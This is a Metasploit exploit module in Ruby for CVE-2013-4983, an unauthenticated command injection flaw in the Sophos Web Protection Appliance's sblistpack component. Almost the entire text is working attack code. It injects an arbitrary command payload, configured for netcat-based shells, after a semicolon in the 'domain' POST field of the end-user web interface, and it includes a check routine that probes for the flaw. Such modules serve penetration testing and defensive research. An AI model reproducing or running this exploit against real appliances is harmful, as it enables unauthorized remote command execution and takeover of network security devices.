Sophos Web Protection Appliance sblistpack Arbitrary Command Execution

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Sophos Web Protection Appliance sblistpack Arbitrary Command Execution',  
'Description' => %q{  
This module exploits a command injection vulnerability on Sophos Web Protection Appliance  
3.7.9, 3.8.0 and 3.8.1. The vulnerability exists on the sblistpack component, reachable  
from the web interface without authentication. This module has been tested successfully  
on Sophos Virtual Web Appliance 3.7.0.  
},  
'Author' =>  
[  
'Francisco Falcon', # Vulnerability discovery and PoC  
'juan vazquez' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2013-4983' ],  
[ 'OSVDB', '97029' ],  
[ 'BID', '62263'],  
[ 'EDB', '28175'],  
[ 'URL', 'http://www.coresecurity.com/advisories/sophos-web-protection-appliance-multiple-vulnerabilities']  
],  
'Platform' => ['unix'],  
'Arch' => ARCH_CMD,  
'Privileged' => false,  
'Payload' =>  
{  
'Space' => 1024,  
'DisableNops' => true,  
'BadChars' => "\x27\x22\x5c",  
'Compat' =>  
{  
'PayloadType' => 'cmd',  
'RequiredCmd' => 'generic netcat-e' # Because quotes and double-quotes aren't valid  
}  
},  
'Targets' =>  
[  
[ 'Sophos Web Protection Appliance 3.7.0', { }]  
],  
'DefaultOptions' =>  
{  
'SSL' => true  
},  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Sep 06 2013'  
))  
  
register_options(  
[  
Opt::RPORT(443)  
],  
self.class  
)  
  
end  
  
def check  
url = "http://www.#{rand_text_alpha(10 + rand(10))}.com"  
domain = "http://#{rand_text_alpha(10 + rand(10))}.com"  
res = send_exploit_query(url, domain)  
  
if res and res.code == 302 and res.headers.include?('Location') and res.headers['Location'] =~ /#{url}/  
return Exploit::CheckCode::Detected  
else  
return Exploit::CheckCode::Safe  
end  
end  
  
def exploit  
print_status("#{rhost}:#{rport} - Executing payload...")  
url = "http://www.#{rand_text_alpha(10 + rand(10))}.com"  
domain = "http://#{rand_text_alpha(10 + rand(10))}.com;#{payload.raw}"  
# very short timeout because the request may never return if we're  
# sending a socket payload  
send_exploit_query(url, domain, 0.01)  
end  
  
def send_exploit_query(url, domain, timeout = 20)  
user = rand_text_alpha(8 + rand(5))  
res = send_request_cgi({  
'uri' => normalize_uri('end-user', 'index.php'),  
'method' => 'POST',  
'vars_get' => {  
'c' =>'blocked',  
'action' => 'continue'  
},  
'vars_post' => {  
'url' => "#{Rex::Text.encode_base64(url)}",  
'args_reason' => rand_text_alpha(15 + rand(5)),  
'filetype' => rand_text_alpha(15 + rand(5)),  
'user' => user,  
'user_encoded' => "#{Rex::Text.encode_base64(user)}",  
'domain' => domain,  
'raw_category_id' => "#{rand_text_alpha(4 + rand(8))}|#{rand_text_alpha(4 + rand(8))}"  
}  
}, timeout)  
  
return res  
end  
  
end  
`